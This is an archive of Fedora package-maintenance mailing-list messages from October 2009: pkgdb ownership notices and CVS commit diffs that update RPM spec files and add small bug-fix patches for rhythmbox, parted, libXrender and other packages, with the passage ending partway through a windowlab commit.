Subject: [pkgdb] libvirt-cim had acl change status
Message-ID: <20091006180555.2EBE310F894@bastion2.fedora.phx.redhat.com>

kaitlin has set the approveacls acl on libvirt-cim (Fedora 10) to Obsolete for danms

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From mclasen at fedoraproject.org  Tue Oct  6 18:07:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue,  6 Oct 2009 18:07:19 +0000 (UTC)
Subject: rpms/rhythmbox/F-12 brasero-burn.patch, NONE, 1.1 rhythmbox.spec,
	1.267, 1.268
Message-ID: <20091006180719.9FAC811C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27112

Modified Files:
	rhythmbox.spec 
Added Files:
	brasero-burn.patch 
Log Message:
fix audio cd burning


brasero-burn.patch:
 rb-disc-recorder-plugin.c |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE brasero-burn.patch ---
diff -up rhythmbox-0.12.5/plugins/brasero-disc-recorder/rb-disc-recorder-plugin.c.burn rhythmbox-0.12.5/plugins/brasero-disc-recorder/rb-disc-recorder-plugin.c
--- rhythmbox-0.12.5/plugins/brasero-disc-recorder/rb-disc-recorder-plugin.c.burn	2009-10-06 13:34:14.296597524 -0400
+++ rhythmbox-0.12.5/plugins/brasero-disc-recorder/rb-disc-recorder-plugin.c	2009-10-06 13:40:09.783578193 -0400
@@ -162,6 +162,8 @@ rb_disc_recorder_plugin_start_burning (R
 	char **args, *xid_str;
 	GError *error = NULL;
 	gboolean ret;
+	GFile *file;
+	gchar *uri;
 	
 	array = g_ptr_array_new ();
 	g_ptr_array_add (array, "brasero");
@@ -169,7 +171,11 @@ rb_disc_recorder_plugin_start_burning (R
 		g_ptr_array_add (array, "-c");
 	else
 		g_ptr_array_add (array, "-r");
-	g_ptr_array_add (array, (gpointer) path);
+
+	file = g_file_new_for_path (path);
+	uri = g_file_get_uri (file);
+	g_ptr_array_add (array, (gpointer) uri);
+	g_object_unref (file);
 
 	main_window =GTK_WINDOW (gtk_widget_get_toplevel (GTK_WIDGET (pi->selected_source)));
 	if (main_window && GTK_WIDGET (main_window)->window) {
@@ -210,6 +216,7 @@ rb_disc_recorder_plugin_start_burning (R
 	
 	g_free (xid_str);
 	g_free (args);
+	g_free (uri);
 	
 	return ret;
 }


Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/F-12/rhythmbox.spec,v
retrieving revision 1.267
retrieving revision 1.268
diff -u -p -r1.267 -r1.268
--- rhythmbox.spec	28 Sep 2009 18:43:44 -0000	1.267
+++ rhythmbox.spec	6 Oct 2009 18:07:19 -0000	1.268
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -54,6 +54,9 @@ Patch0: rhythmbox-0.12.5-use-gnome-sessi
 BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597584
+Patch2: brasero-burn.patch
+
 %description
 Rhythmbox is an integrated music management application based on the powerful
 GStreamer media framework. It has a number of features, including an easy to
@@ -86,8 +89,9 @@ from, and sending media to UPnP/DLNA net
 %prep
 %setup -q
 %patch0 -p1 -b .inhibit-gnome-session
-
 %patch1 -p1 -b .itms
+%patch2 -p1 -b .brasero-burn
+
 autoreconf -i
 
 # Use the installed louie, not the one in Coherence
@@ -219,6 +223,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> 0.12.5-4
+- Make burning with brasero actually work, somewhat
+
 * Mon Sep 28 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-3
 - Fix the symbols for the browser plugin being mangled (#525826)
 



From ajax at fedoraproject.org  Tue Oct  6 18:07:20 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 18:07:20 +0000 (UTC)
Subject: rpms/libXinerama/devel .cvsignore, 1.9, 1.10 libXinerama.spec, 1.24,
	1.25 sources, 1.9, 1.10
Message-ID: <20091006180720.6B7F711C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXinerama/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27352

Modified Files:
	.cvsignore libXinerama.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
- libXinerama 1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXinerama/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	28 Aug 2009 03:01:28 -0000	1.9
+++ .cvsignore	6 Oct 2009 18:07:20 -0000	1.10
@@ -1 +1 @@
-libXinerama-1.0.99.1.tar.bz2
+libXinerama-1.1.tar.bz2


Index: libXinerama.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXinerama/devel/libXinerama.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libXinerama.spec	28 Aug 2009 03:01:28 -0000	1.24
+++ libXinerama.spec	6 Oct 2009 18:07:20 -0000	1.25
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXinerama runtime library
 Name: libXinerama
-Version: 1.0.99.1
+Version: 1.1
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/panoramiXext.h
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
+- libXinerama 1.1
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXinerama 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXinerama/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 03:01:29 -0000	1.9
+++ sources	6 Oct 2009 18:07:20 -0000	1.10
@@ -1 +1 @@
-473725c59bbb2f1dc1afb73ca8a3b5cb  libXinerama-1.0.99.1.tar.bz2
+a2ac01fc0426cdbb713c5d59cf9955ed  libXinerama-1.1.tar.bz2



From ajax at fedoraproject.org  Tue Oct  6 18:11:57 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 18:11:57 +0000 (UTC)
Subject: rpms/libXinerama/F-12 libXinerama.spec,1.24,1.25 sources,1.9,1.10
Message-ID: <20091006181157.AB13111C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXinerama/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29027

Modified Files:
	libXinerama.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
- libXinerama 1.1



Index: libXinerama.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXinerama/F-12/libXinerama.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libXinerama.spec	28 Aug 2009 03:01:28 -0000	1.24
+++ libXinerama.spec	6 Oct 2009 18:11:57 -0000	1.25
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXinerama runtime library
 Name: libXinerama
-Version: 1.0.99.1
+Version: 1.1
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/panoramiXext.h
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
+- libXinerama 1.1
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXinerama 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXinerama/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 03:01:29 -0000	1.9
+++ sources	6 Oct 2009 18:11:57 -0000	1.10
@@ -1 +1 @@
-473725c59bbb2f1dc1afb73ca8a3b5cb  libXinerama-1.0.99.1.tar.bz2
+a2ac01fc0426cdbb713c5d59cf9955ed  libXinerama-1.1.tar.bz2



From ajax at fedoraproject.org  Tue Oct  6 18:26:42 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 18:26:42 +0000 (UTC)
Subject: rpms/libXrender/devel .cvsignore, 1.8, 1.9 libXrender.spec, 1.26,
	1.27 sources, 1.10, 1.11
Message-ID: <20091006182642.C583C11C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXrender/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv708

Modified Files:
	.cvsignore libXrender.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 0.9.5-1
- libXrender 0.9.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXrender/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	24 Sep 2007 18:23:26 -0000	1.8
+++ .cvsignore	6 Oct 2009 18:26:42 -0000	1.9
@@ -1 +1 @@
-libXrender-0.9.4.tar.bz2
+libXrender-0.9.5.tar.bz2


Index: libXrender.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXrender/devel/libXrender.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXrender.spec	25 Jul 2009 05:14:55 -0000	1.26
+++ libXrender.spec	6 Oct 2009 18:26:42 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXrender runtime library
 Name: libXrender
-Version: 0.9.4
-Release: 7%{?dist}
+Version: 0.9.5
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -30,20 +30,16 @@ X.Org X11 libXrender development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
+# undo this, we'll add it ourselves in %%doc
+rm $RPM_BUILD_ROOT/%{_docdir}/*/libXrender.txt
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -62,14 +58,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
+%doc doc/libXrender.txt
 %{_includedir}/X11/extensions/Xrender.h
-%if %{with_static}
-%{_libdir}/libXrender.a
-%endif
 %{_libdir}/libXrender.so
 %{_libdir}/pkgconfig/xrender.pc
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 0.9.5-1
+- libXrender 0.9.5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXrender/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Sep 2007 18:23:26 -0000	1.10
+++ sources	6 Oct 2009 18:26:42 -0000	1.11
@@ -1 +1 @@
-dc266e850c51368f964e0d67bf5fb5e6  libXrender-0.9.4.tar.bz2
+276dd9e85daf0680616cd9f132b354c9  libXrender-0.9.5.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct  6 18:28:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:28:25 +0000
Subject: [pkgdb] libvirt-cim ownership updated
Message-ID: <20091006182825.E2F8A10F88E@bastion2.fedora.phx.redhat.com>

Package libvirt-cim in Fedora devel is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:28:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:28:56 +0000
Subject: [pkgdb] libvirt-cim ownership updated
Message-ID: <20091006182856.E1AF510F892@bastion2.fedora.phx.redhat.com>

Package libvirt-cim in Fedora 9 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:28:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:28:58 +0000
Subject: [pkgdb] libvirt-cim ownership updated
Message-ID: <20091006182858.6C07010F895@bastion2.fedora.phx.redhat.com>

Package libvirt-cim in Fedora 10 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:29:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:29:00 +0000
Subject: [pkgdb] libvirt-cim ownership updated
Message-ID: <20091006182900.4439710F8A2@bastion2.fedora.phx.redhat.com>

Package libvirt-cim in Fedora 11 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:29:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:29:00 +0000
Subject: [pkgdb] libvirt-cim ownership updated
Message-ID: <20091006182900.5B5EA10F8A8@bastion2.fedora.phx.redhat.com>

Package libvirt-cim in Fedora 12 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:30:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:30:02 +0000
Subject: [pkgdb] libcmpiutil ownership updated
Message-ID: <20091006183003.01EED10F895@bastion2.fedora.phx.redhat.com>

Package libcmpiutil in Fedora devel is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libcmpiutil



From pkgdb at fedoraproject.org  Tue Oct  6 18:30:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:30:04 +0000
Subject: [pkgdb] libcmpiutil ownership updated
Message-ID: <20091006183004.3244710F8AF@bastion2.fedora.phx.redhat.com>

Package libcmpiutil in Fedora 9 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libcmpiutil



From pkgdb at fedoraproject.org  Tue Oct  6 18:30:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:30:04 +0000
Subject: [pkgdb] libcmpiutil ownership updated
Message-ID: <20091006183004.D817310F8B3@bastion2.fedora.phx.redhat.com>

Package libcmpiutil in Fedora 10 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libcmpiutil



From pkgdb at fedoraproject.org  Tue Oct  6 18:30:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:30:07 +0000
Subject: [pkgdb] libcmpiutil ownership updated
Message-ID: <20091006183007.29F1710F8B7@bastion2.fedora.phx.redhat.com>

Package libcmpiutil in Fedora 11 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libcmpiutil



From pkgdb at fedoraproject.org  Tue Oct  6 18:30:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:30:08 +0000
Subject: [pkgdb] libcmpiutil ownership updated
Message-ID: <20091006183009.3898C10F8BC@bastion2.fedora.phx.redhat.com>

Package libcmpiutil in Fedora 12 is now owned by kaitlin

To make changes to this package see:
  /pkgdb/packages/name/libcmpiutil



From ajax at fedoraproject.org  Tue Oct  6 18:31:37 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 18:31:37 +0000 (UTC)
Subject: rpms/libXrender/F-12 libXrender.spec,1.26,1.27 sources,1.10,1.11
Message-ID: <20091006183137.0FF1F11C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXrender/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2210

Modified Files:
	libXrender.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 0.9.5-1
- libXrender 0.9.5



Index: libXrender.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXrender/F-12/libXrender.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXrender.spec	25 Jul 2009 05:14:55 -0000	1.26
+++ libXrender.spec	6 Oct 2009 18:31:36 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXrender runtime library
 Name: libXrender
-Version: 0.9.4
-Release: 7%{?dist}
+Version: 0.9.5
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -30,20 +30,16 @@ X.Org X11 libXrender development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
+# undo this, we'll add it ourselves in %%doc
+rm $RPM_BUILD_ROOT/%{_docdir}/*/libXrender.txt
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -62,14 +58,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
+%doc doc/libXrender.txt
 %{_includedir}/X11/extensions/Xrender.h
-%if %{with_static}
-%{_libdir}/libXrender.a
-%endif
 %{_libdir}/libXrender.so
 %{_libdir}/pkgconfig/xrender.pc
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 0.9.5-1
+- libXrender 0.9.5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXrender/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Sep 2007 18:23:26 -0000	1.10
+++ sources	6 Oct 2009 18:31:36 -0000	1.11
@@ -1 +1 @@
-dc266e850c51368f964e0d67bf5fb5e6  libXrender-0.9.4.tar.bz2
+276dd9e85daf0680616cd9f132b354c9  libXrender-0.9.5.tar.bz2



From jwrdegoede at fedoraproject.org  Tue Oct  6 18:53:21 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Tue,  6 Oct 2009 18:53:21 +0000 (UTC)
Subject: rpms/parted/devel
	parted-1.9.0-ped_partition_is_busy-no-exception.patch, NONE,
	1.1 parted-1.9.0-swap-flag.patch, 1.2, 1.3 parted.spec, 1.148, 1.149
Message-ID: <20091006185321.5E83711C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10776

Modified Files:
	parted-1.9.0-swap-flag.patch parted.spec 
Added Files:
	parted-1.9.0-ped_partition_is_busy-no-exception.patch 
Log Message:
* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-15
- ped_partition_is_busy() should not throw exceptions (#527035)
- msdos_partition_is_flag_available() should return 1 for swap flag (#513729)


parted-1.9.0-ped_partition_is_busy-no-exception.patch:
 linux.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE parted-1.9.0-ped_partition_is_busy-no-exception.patch ---
>From fa2ad81437541251d6e47eccf3bc413cf68a0c31 Mon Sep 17 00:00:00 2001
From: Hans de Goede <hdegoede at redhat.com>
Date: Tue, 6 Oct 2009 11:18:25 +0200
Subject: [PATCH] ped_partition_busy should not call the libparted exception handler

Modify libparted/arch/linux.c _partition_get_part_dev() to not call
_device_stat() but instead use stat directly, as _device_stat() calls
the libparted exception handler and we don't want this here, the only caller
of _partition_get_part_dev() is _partition_is_mounted(), which in turn only
gets called by linux_partition_is_busy(), and we don't want to "throw"
exceptions from ped_partition_busy()

This issue was noticed in combination with pyparted as used by anaconda, see:
https://bugzilla.redhat.com/show_bug.cgi?id=527035#c10
---
 libparted/arch/linux.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
index 52f7d21..a8d6daf 100644
--- a/libparted/arch/linux.c
+++ b/libparted/arch/linux.c
@@ -2127,7 +2127,7 @@ _partition_get_part_dev (const PedPartition* part)
         struct stat dev_stat;
         int dev_major, dev_minor;
 
-        if (!_device_stat (part->disk->dev, &dev_stat))
+        if (stat (part->disk->dev->path, &dev_stat))
                 return (dev_t)0;
         dev_major = major (dev_stat.st_rdev);
         dev_minor = minor (dev_stat.st_rdev);
@@ -2184,6 +2184,8 @@ _partition_is_mounted (const PedPartition *part)
         if (!ped_partition_is_active (part))
                 return 0;
         dev = _partition_get_part_dev (part);
+        if (!dev)
+        	return 0;
         return _partition_is_mounted_by_dev (dev);
 }
 
-- 
1.6.5.rc2


parted-1.9.0-swap-flag.patch:
 dos.c |   30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

Index: parted-1.9.0-swap-flag.patch
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted-1.9.0-swap-flag.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- parted-1.9.0-swap-flag.patch	27 Jul 2009 17:03:49 -0000	1.2
+++ parted-1.9.0-swap-flag.patch	6 Oct 2009 18:53:21 -0000	1.3
@@ -124,6 +124,14 @@ index 7ec15ee..f8307c5 100644
  	default:
  		return 0;
  	}
+@@ -1496,6 +1496,7 @@ msdos_partition_is_flag_available (const
+ 	case PED_PARTITION_LBA:
+ 	case PED_PARTITION_PALO:
+ 	case PED_PARTITION_PREP:
++	case PED_PARTITION_SWAP:
+ 		return 1;
+ 
+ 	default:
 -- 
 1.6.0.6
 


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- parted.spec	31 Aug 2009 12:34:18 -0000	1.148
+++ parted.spec	6 Oct 2009 18:53:21 -0000	1.149
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 14%{?dist}
+Release: 15%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -25,6 +25,7 @@ Patch12:  %{name}-1.9.0-volkeysize.patch
 Patch13:  %{name}-1.9.0-no-BLKPG.patch
 Patch14:  %{name}-1.9.0-commit-without-close.patch
 Patch15:  %{name}-1.9.0-dont-touch-part-nodes.patch
+Patch16:  %{name}-1.9.0-ped_partition_is_busy-no-exception.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: e2fsprogs-devel
@@ -77,6 +78,7 @@ Parted library, you need to install this
 %patch13 -p1 -b .no-BLKPG
 %patch14 -p1 -b .commit-without-close
 %patch15 -p1 -b .dont-touch-part-nodes
+%patch16 -p1 -b .ped_partition_is_busy
 
 
 %build
@@ -101,6 +103,7 @@ popd
 %{__rm} -rf %{buildroot}%{_libdir}/*.la
 %{__rm} -rf %{buildroot}%{_infodir}/dir
 %{__rm} -rf %{buildroot}%{_bindir}/label
+%{__rm} -rf %{buildroot}%{_bindir}/disk
 
 %find_lang %{name}
 
@@ -137,6 +140,10 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-15
+- ped_partition_is_busy() should not throw exceptions (#527035)
+- msdos_partition_is_flag_available() should return 1 for swap flag (#513729)
+
 * Mon Aug 31 2009 Joel Granados <jgranado at redhat.com> 1.9.0-14
 - Patchs for 'commit to os' for linux.  Thx to hansg.
 



From lmacken at fedoraproject.org  Tue Oct  6 18:58:09 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 18:58:09 +0000 (UTC)
Subject: rpms/python-decorator/EL-5 .cvsignore, 1.2,
	1.3 python-decorator.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091006185809.3FFA611C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-decorator/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12808

Modified Files:
	.cvsignore python-decorator.spec sources 
Log Message:
2.3.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Apr 2008 00:19:19 -0000	1.2
+++ .cvsignore	6 Oct 2009 18:58:06 -0000	1.3
@@ -1 +1 @@
-decorator-2.2.0.zip
+decorator-2.3.2.tar.gz


Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/python-decorator.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-decorator.spec	8 Apr 2008 00:19:19 -0000	1.1
+++ python-decorator.spec	6 Oct 2009 18:58:08 -0000	1.2
@@ -2,7 +2,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-decorator
-Version:        2.2.0
+Version:        2.3.2
 Release:        1%{?dist}
 Summary:        Module to simplify usage of decorators
 
@@ -47,5 +47,8 @@ export PYTHONPATH=$RPM_BUILD_ROOT/%{pyth
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 06 2009 Luke Macken <lmacken at redhat.com> - 2.3.2-1
+- Update to 2.3.2
+
 * Thu Dec 20 2007 Toshio Kuratomi <toshio at fedoraproject.org> - 2.2.0-1
 - Initial Fedora Build


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Apr 2008 00:19:19 -0000	1.2
+++ sources	6 Oct 2009 18:58:08 -0000	1.3
@@ -1 +1 @@
-4732d42d7b9f1b19de960a84b57a63da  decorator-2.2.0.zip
+c52e22e9d8f5bc0c5d70e990dbe761e0  decorator-2.3.2.tar.gz



From lmacken at fedoraproject.org  Tue Oct  6 19:05:30 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 19:05:30 +0000 (UTC)
Subject: rpms/python-decorator/EL-5 python-decorator.spec,1.2,1.3
Message-ID: <20091006190530.AAEC211C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-decorator/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16756

Modified Files:
	python-decorator.spec 
Log Message:
Update the source filename


Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/python-decorator.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-decorator.spec	6 Oct 2009 18:58:08 -0000	1.2
+++ python-decorator.spec	6 Oct 2009 19:05:30 -0000	1.3
@@ -9,7 +9,7 @@ Summary:        Module to simplify usage
 Group:          Development/Languages
 License:        BSD
 URL:            http://www.phyast.pitt.edu/~micheles/python/documentation.html
-Source0:        http://www.phyast.pitt.edu/~micheles/python/decorator-%{version}.zip
+Source0:        http://www.phyast.pitt.edu/~micheles/python/decorator-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch



From spot at fedoraproject.org  Tue Oct  6 19:07:52 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 19:07:52 +0000 (UTC)
Subject: rpms/windowlab/F-12 sources, 1.3, 1.4 windowlab-1.34-pathfixes.patch,
	1.2, 1.3 windowlab-1.37-nostrip.patch, NONE,
	1.1 windowlab-1.37-xsessions.patch, NONE, 1.1 windowlab.desktop,
	1.2, 1.3 windowlab.spec, 1.3, 1.4 dead.package, 1.2, NONE
Message-ID: <20091006190752.A60C311C00C1@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/windowlab/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17281/F-12

Added Files:
	sources windowlab-1.34-pathfixes.patch 
	windowlab-1.37-nostrip.patch windowlab-1.37-xsessions.patch 
	windowlab.desktop windowlab.spec 
Removed Files:
	dead.package 
Log Message:
revive


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	6 Oct 2009 19:07:49 -0000	1.4
@@ -0,0 +1 @@
+77e1552de99146a29ff405f2fdae47e4  windowlab-1.37.tar

windowlab-1.34-pathfixes.patch:
 Makefile |    4 ++--
